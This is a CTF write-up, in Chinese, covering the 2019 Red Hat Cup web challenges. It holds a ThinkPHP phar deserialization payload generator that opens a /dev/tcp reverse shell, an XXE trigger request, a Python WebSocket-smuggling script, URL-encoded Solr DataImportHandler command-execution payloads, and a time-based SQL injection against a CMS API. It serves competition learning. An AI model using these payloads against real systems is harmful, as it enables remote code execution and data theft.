红帽杯 2019 Web Write Up (除 iCloudMusic
[TOC]
Ticket_System
XXE 2 Phar 反序列化加 Nu1lCTF sql_manager 的 thinkphp pop 链就行了
<?php
namespace think\process\pipes {
class Windows
{
private $files;
public function __construct($files)
{
$this->files = array($files);
}
}
}
namespace think\model\concern {
trait Conversion
{
protected $append = array("Zedd" => "1");
}
trait Attribute
{
private $data;
private $withAttr = array("Zedd" => "system");
public function get($system)
{
$this->data = array("Zedd" => "$system");
}
}
}
namespace think {
abstract class Model
{
use model\concern\Attribute;
use model\concern\Conversion;
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
public function __construct($system)
{
$this->get($system);
}
}
}
namespace {
$Conver = new think\model\Pivot("bash -c 'sh >& /dev/tcp/you r_ip/port 0>&1'");
$payload = new think\process\pipes\Windows($Conver);
ini_set('phar.readonly',0);
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($payload); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
rename('phar.phar','phar.xml');
}
?>
传这个 xml 上去之后再发以下请求:
POST /postxml HTTP/1.1
Host: zedd.vv:8000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=e4gevanqetq7dvri2q8ujh68hr
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/xml;charset=utf-8
Content-Length: 229
<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'phar:///tmp/uploads/28b20c7474c6127c57486e26ad1442b9/20191110/e08b7a076a3d519f8936d3d8b8c17a27.xml'>]>
<user><username>&test;</username><password>admin</password></user>
用 XXE 触发 phar 反序列化即可。
我看有些师傅还在为/readflag
头疼…这也不是啥新玩意了,可以直接用trap "" 14
就可以让验证码停下来了。
bank_service
Second Blood
做的还是比较有意思的一题,可惜当时做的比较zz,本来可以一血,就是因为自己弄的太不小心了。
因为之前一直在研究 HTTP Smuggling 的东西,我在腾讯的导师也对这个挺感兴趣的,前阵子给我发了一个 Websocket Smuggling
看完后一脸懵逼,文章跟之前 Black Hat 2019 HTTP Desync 那个议题一样,只说了有这么个攻击面,但是没有说怎么产生的,但是还好给了 POC 以及一些 challs ,虽然我当时复现了一下,但是依然懵逼。
直到作者终于在前几天把 websocket-smuggle 攻击原理用文章描述了出来,恰巧这次比赛也出到了这么个题目,所以看到题目用了 websocket ,我就猜可能是这个攻击面了。
这个攻击面是什么呢?帮大家一句话总结就是在 websocket 建立连接时,如果反向代理没有完全严格遵守 RFC 6445 标准,在处理Sec-WebSocket-Version
版本错误的情况并没有做好相应的处理,导致了保持了客户端与后端服务器 TCP/TLS 的连接,所以造成了我们可以进行 Smuggling 请求的攻击,这里直接表现为可以通过这种攻击访问内网。
我们再回到题目,题目的 zz 客服只会重复一句话
我们基于solr提供优质的银行信息搜索服务。
那应该就是提示 solr 了,前阵子有个 solr RCE …但是我们直接访问 solr 服务是 403 …
于是我们尝试直接用 Smuggling 探测 solr 服务
import socket
req1 = """GET /socket.io/?EIO=3&transport=websocket HTTP/1.1
Host: 47.105.57.19:3000
Sec-WebSocket-Version: 1338
Upgrade: websocket
Cookie: user=admin; io=wdvnH-5hbXMU4XPFAC_O
""".replace('\n', '\r\n')
req2 = """GET /solr HTTP/1.1
Host: localhost:8983
""".replace('\n', '\r\n')
def main(netloc):
host, port = netloc.split(':')
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, int(port)))
sock.sendall(req1)
sock.recv(4096)
sock.sendall(req2)
# print req2
data = sock.recv(4096)
data = data.decode(errors = 'ignore')
print(data)
data = sock.recv(4096)
data = data.decode(errors = 'ignore')
print(data)
sock.shutdown(socket.SHUT_RDWR)
sock.close()
if __name__ == "__main__":
main('47.105.57.19:3000')
发现是个302跳转…
看来还是得起本地环境来试试看,刚好 vulhub 有一个环境(p牛辣是真的牛批
直接起起来,然后发现 solr 的入口是 /solr/#/
,然后我们把 req2 的请求部分改成 /solr/#/
就可以看到页面内容了
req2 = """GET /solr/#/ HTTP/1.1
Host: localhost:8983
""".replace('\n', '\r\n')
可惜这个 Smuggling 技术貌似没有直接能像代理一样的功能,不能用浏览器直接浏览内容,每次只能自己去分析回显,不过这个题也不需要用到渲染交互什么的,直接都是可以发送 api 请求的。
于是我们本地起环境,用 Github 上几个 exp 试了一下,发现有外连的我本地可以成功,但是打远程不行…
然后我仔细看了 solr_exploit poc 以及 PoC第三阶段–无外连+有回显,想必应该就是这个了吧,后来给出的 hint 也验证了这一点,就是需要构造那篇文章当中打了码的 POC (又是一个看图猜 POC 的题,我要吐了
侧信道攻击
于是我拿着这个图找了一些 PS 大神进行处理,结果淘宝卖家说我是第四个找他们处理的人了.jpg
于是开始了漫漫 POC 猜测之路,首先我们看图可以发现图中有两个蓝色的快,那么第一行有没有可能是:
<?xml version="1.0" encoding="UTF-8"?>
让我们试试看,把 burp 与文章 burp 拉到同样高度,然后 xml 标签之后随便弄几个 payload
我靠,简直一毛一样 XD
我感觉我要一血了,侧信道攻击真的牛批。然而正如上图,他喵的还是没回显啊…
Emmm….陷入沉思
稍加思索
在 github 那个 repo 中我们可以发现其实检测漏洞 - Exploit2用的也是 @Longofo 师傅在那篇文章说的 ContentStreamSource
在相关概念中说到了ContentStreamDataSource能接收Post数据作为数据源,结合第一阶段说到的dynamicField就能实现回显了。
一开始不熟悉 java 的我看到这也很懵逼,怎么就能实现回显了…然后我们可以看看那个 github repo exp2,我也着实看了好久
在我用这个 exp2 的第四步,也就是开启远程流这个步骤,如果直接按照这个做法的话,是直接得到了 403 Forbidden
该步骤是为了修改
configoverlay.json
文件中的配置 以启用远程流的相关选项.enableStreamBody
.enableRemoteStreaming
替换
tika
为索引库名称POST /solr/tika/config HTTP/1.1 Host: 127.0.0.1 Accept: */* Content-type:application/json Content-Length: 159 Connection: close {"set-property": {"requestDispatcher.requestParsers.enableRemoteStreaming": true}, "set-property": {"requestDispatcher.requestParsers.enableStreamBody": true}}
响应200即成功(实际测试 8.1可以成功)
响应500即失败(实际测试 某些低版本会失败)
所以我们不得不只能走另一种方式,不用开启 streambody 的方法。
然后开始了漫长的 fuzz 过程,可能我理解得比较慢,导致做的也比较慢,这里我们可以看到这个利用 streambody 构造的 POC
POST /solr/tika/dataimport?command=full-import&verbose=false&clean=false&commit=false&debug=true&core=tika&name=dataimport&dataConfig=%0a%3c%64%61%74%61%43%6f%6e%66%69%67%3e%0a%3c%64%61%74%61%53%6f%75%72%63%65%20%6e%61%6d%65%3d%22%73%74%72%65%61%6d%73%72%63%22%20%74%79%70%65%3d%22%43%6f%6e%74%65%6e%74%53%74%72%65%61%6d%44%61%74%61%53%6f%75%72%63%65%22%20%6c%6f%67%67%65%72%4c%65%76%65%6c%3d%22%54%52%41%43%45%22%20%2f%3e%0a%0a%20%20%3c%73%63%72%69%70%74%3e%3c%21%5b%43%44%41%54%41%5b%0a%20%20%20%20%20%20%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%70%6f%63%28%72%6f%77%29%7b%0a%20%76%61%72%20%62%75%66%52%65%61%64%65%72%20%3d%20%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%69%66%63%6f%6e%66%69%67%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29%3b%0a%0a%76%61%72%20%72%65%73%75%6c%74%20%3d%20%5b%5d%3b%0a%0a%77%68%69%6c%65%28%74%72%75%65%29%20%7b%0a%76%61%72%20%6f%6e%65%6c%69%6e%65%20%3d%20%62%75%66%52%65%61%64%65%72%2e%72%65%61%64%4c%69%6e%65%28%29%3b%0a%72%65%73%75%6c%74%2e%70%75%73%68%28%20%6f%6e%65%6c%69%6e%65%20%29%3b%0a%69%66%28%21%6f%6e%65%6c%69%6e%65%29%20%62%72%65%61%6b%3b%0a%7d%0a%0a%72%6f%77%2e%70%75%74%28%22%74%69%74%6c%65%22%2c%72%65%73%75%6c%74%2e%6a%6f%69%6e%28%22%5c%6e%5c%72%22%29%29%3b%0a%72%65%74%75%72%6e%20%72%6f%77%3b%0a%0a%7d%0a%0a%5d%5d%3e%3c%2f%73%63%72%69%70%74%3e%0a%0a%3c%64%6f%63%75%6d%65%6e%74%3e%0a%20%20%20%20%3c%65%6e%74%69%74%79%0a%20%20%20%20%20%20%20%20%73%74%72%65%61%6d%3d%22%74%72%75%65%22%0a%20%20%20%20%20%20%20%20%6e%61%6d%65%3d%22%65%6e%74%69%74%79%31%22%0a%20%20%20%20%20%20%20%20%64%61%74%61%73%6f%75%72%63%65%3d%22%73%74%72%65%61%6d%73%72%63%31%22%0a%20%20%20%20%20%20%20%20%70%72%6f%63%65%73%73%6f%72%3d%22%58%50%61%74%68%45%6e%74%69%74%79%50%72%6f%63%65%73%73%6f%72%22%0a%20%20%20%20%20%20%20%20%72%6f%6f%74%45%6e%74%69%74%79%3d%22%74%72%75%65%22%0a%20%20%20%20%20%20%20%20%66%6f%72%45%61%63%68%3d%22%2f%52%44%46%2f%69%74%65%6d%22%0a%20%20%20%20%20%20%20%20%74%72%61%6e%73%66%6f%72%6d%65%72%3d%22%73%63%72%69%70%74%3a%70%6f%63%22%3e%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%3c%66%69%65%6c%64%20%63%6f%6c%75%6d%6e%3d%22%74%69%74%6c%65%22%20%78%70%61%74%68%3d%22%2f%52%44%46%2f%69%74%65%6d%2f%74%69%74%6c%65%22%20%2f%3e%0a%20%20%20%20%3c%2f%65%6e%74%69%74%79%3e%0a%3c%2f%64%6f%63%75%6d%65%6e%74%3e%0a%3c%2f%64%61%74%61%43%6f%6e%66%69%67%3e%0a%20%20%20%20%0a%20%20%20%20%20%20%20%20%20%20%20 HTTP/1.1
Host: solr.com:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://solr.com:8983/solr/
Content-Length: 212
content-type: multipart/form-data; boundary=------------------------aceb88c2159f183f
--------------------------aceb88c2159f183f
Content-Disposition: form-data; name="stream.body"
<?xml version="1.0" encoding="UTF-8"?>
<RDF>
<item/>
</RDF>
--------------------------aceb88c2159f183f--
其中 urlencode 部分是:
<dataConfig>
<dataSource name="streamsrc" type="ContentStreamDataSource" loggerLevel="TRACE" />
<script><![CDATA[
function poc(row){
var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("ifconfig").getInputStream()));
var result = [];
while(true) {
var oneline = bufReader.readLine();
result.push( oneline );
if(!oneline) break;
}
row.put("title",result.join("\n\r"));
return row;
}
]]></script>
<document>
<entity
stream="true"
name="entity1"
datasource="streamsrc1"
processor="XPathEntityProcessor"
rootEntity="true"
forEach="/RDF/item"
transformer="script:poc">
<field column="title" xpath="/RDF/item/title" />
</entity>
</document>
</dataConfig>
利用 ContentStreamDataSource 把 stream.body 作为数据源进行处理。其实看到这,再根据文章中所描述的:
在相关概念中说到了ContentStreamDataSource能接收Post数据作为数据源,结合第一阶段说到的dynamicField就能实现回显了。
其实我们的 POC 也呼之欲出了。
只要去掉 stream.body ,使用 POST XML 作为数据源,再配合 dynamicField 的特性,就可以把回显输出到 document 当中了。
于是我们可以大概这么去构造 dataConfig
<dataConfig>
<dataSource name="streamsrc" type="ContentStreamDataSource" loggerLevel="TRACE" />
<script><![CDATA[
function poc(row){
var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("ls").getInputStream()));
var result = [];
while(true) {
var oneline = bufReader.readLine();
result.push( oneline );
if(!oneline) break;
}
row.put("id",result.join("\n\r"));
return row;
}
]]></script>
<document>
<entity
name="streamxml"
datasource="streamsrc1"
processor="XPathEntityProcessor"
forEach="/RDF/item"
transformer="script:poc">
<field column="id" xpath="/RDF/item/id" name="id_s" type="string"/>
</entity>
</document>
</dataConfig>
直接利用默认配置的 id fileld 进行回显,然后将之前 stream body 的改成 xml 发送 post 请求即可。
POST /solr/test1/dataimport?command=full-import&verbose=false&clean=false&commit=false&debug=true&core=test1&name=dataimport&dataConfig=%0A%3CdataConfig%3E%0A%3CdataSource%20name%3D%22streamsrc%22%20type%3D%22ContentStreamDataSource%22%20loggerLevel%3D%22TRACE%22%20%2F%3E%0A%0A%20%20%3Cscript%3E%3C!%5BCDATA%5B%0A%20%20%20%20%20%20%20%20%20%20function%20poc(row)%7B%0A%20var%20bufReader%20%3D%20new%20java.io.BufferedReader(new%20java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec(%22ls%22).getInputStream()))%3B%0A%0Avar%20result%20%3D%20%5B%5D%3B%0A%0Awhile(true)%20%7B%0Avar%20oneline%20%3D%20bufReader.readLine()%3B%0Aresult.push(%20oneline%20)%3B%0Aif(!oneline)%20break%3B%0A%7D%0A%0Arow.put(%22id%22%2Cresult.join(%22%5Cn%5Cr%22))%3B%0Areturn%20row%3B%0A%0A%7D%0A%0A%5D%5D%3E%3C%2Fscript%3E%0A%0A%3Cdocument%3E%0A%20%20%20%20%3Centity%0A%20%20%20%20%20%20%20%20name%3D%22streamxml%22%0A%20%20%20%20%20%20%20%20datasource%3D%22streamsrc1%22%0A%20%20%20%20%20%20%20%20processor%3D%22XPathEntityProcessor%22%0A%20%20%20%20%20%20%20%20forEach%3D%22%2FRDF%2Fitem%22%0A%20%20%20%20%20%20%20%20transformer%3D%22script%3Apoc%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Cfield%20column%3D%22id%22%20xpath%3D%22%2FRDF%2Fitem%2Fid%22%20name%3D%22id_s%22%20type%3D%22string%22%2F%3E%0A%20%20%20%20%3C%2Fentity%3E%0A%3C%2Fdocument%3E%0A%3C%2FdataConfig%3E%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20 HTTP/1.1
Host: zedd.vv:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Length: 62
Content-Type: application/xml;charset=utf-8
<?xml version="1.0" encoding="UTF-8"?>
<RDF>
<item/>
</RDF>
这样我们就成功构造了回显,然后用 smuggling 方法发送上面的请求就可以了。
给比我做的快的师傅递茶tql,自己还是做的太慢了orz…
文中的POC仅供本次做题学习交流,切勿用于非法用途
easyweb
当时做完 bank_service 就去睡了,第二天醒来就结束就没看这道题,后来问了问前几的师傅们,是个 sql 注入的题。
一个CMS,官网是行云海CMS,题目是最新的版本,然后我去看了一下,主要问题在App/Api/Controller/LtController.class.php
当中,有好几个地方,比如
public function gbooklist() {
...
$order_by = I('orderby', 'id DESC');
...
$_list = M('guestbook')->where($where)->order($order_by)->limit($limit)->select();
}
对于 I 函数第二个参数并没有做任何的处理
/**
* 获取输入参数 支持过滤和默认值
* 使用方法:
* <code>
* I('id',0); 获取id参数 自动判断get或者post
* I('post.name','','htmlspecialchars'); 获取$_POST['name']
* I('get.'); 获取$_GET
* </code>
* @param string $name 变量的名称 支持指定类型
* @param mixed $default 不存在的时候默认值
* @param mixed $filter 参数过滤方法
* @param mixed $datas 要获取的额外数据源
* @return mixed
*/
function I($name,$default='',$filter=null,$datas=null)
于是我们可以访问index.php?s=Api/lt/gbooklist&orderby=1;SELECT SLEEP(5)%23
得到明显的时间延迟,这里我们就可以直接用 sqlmap 时间盲注就行了。
同样的,该文件里的taglist
/alist
/slist
/reviewlist
函数都有相同的地方存在注入,该题的 flag 也在数据库里面,所以用 sqlmap 跑跑就出来了。
文中的POC仅供本次做题学习交流,切勿用于非法用途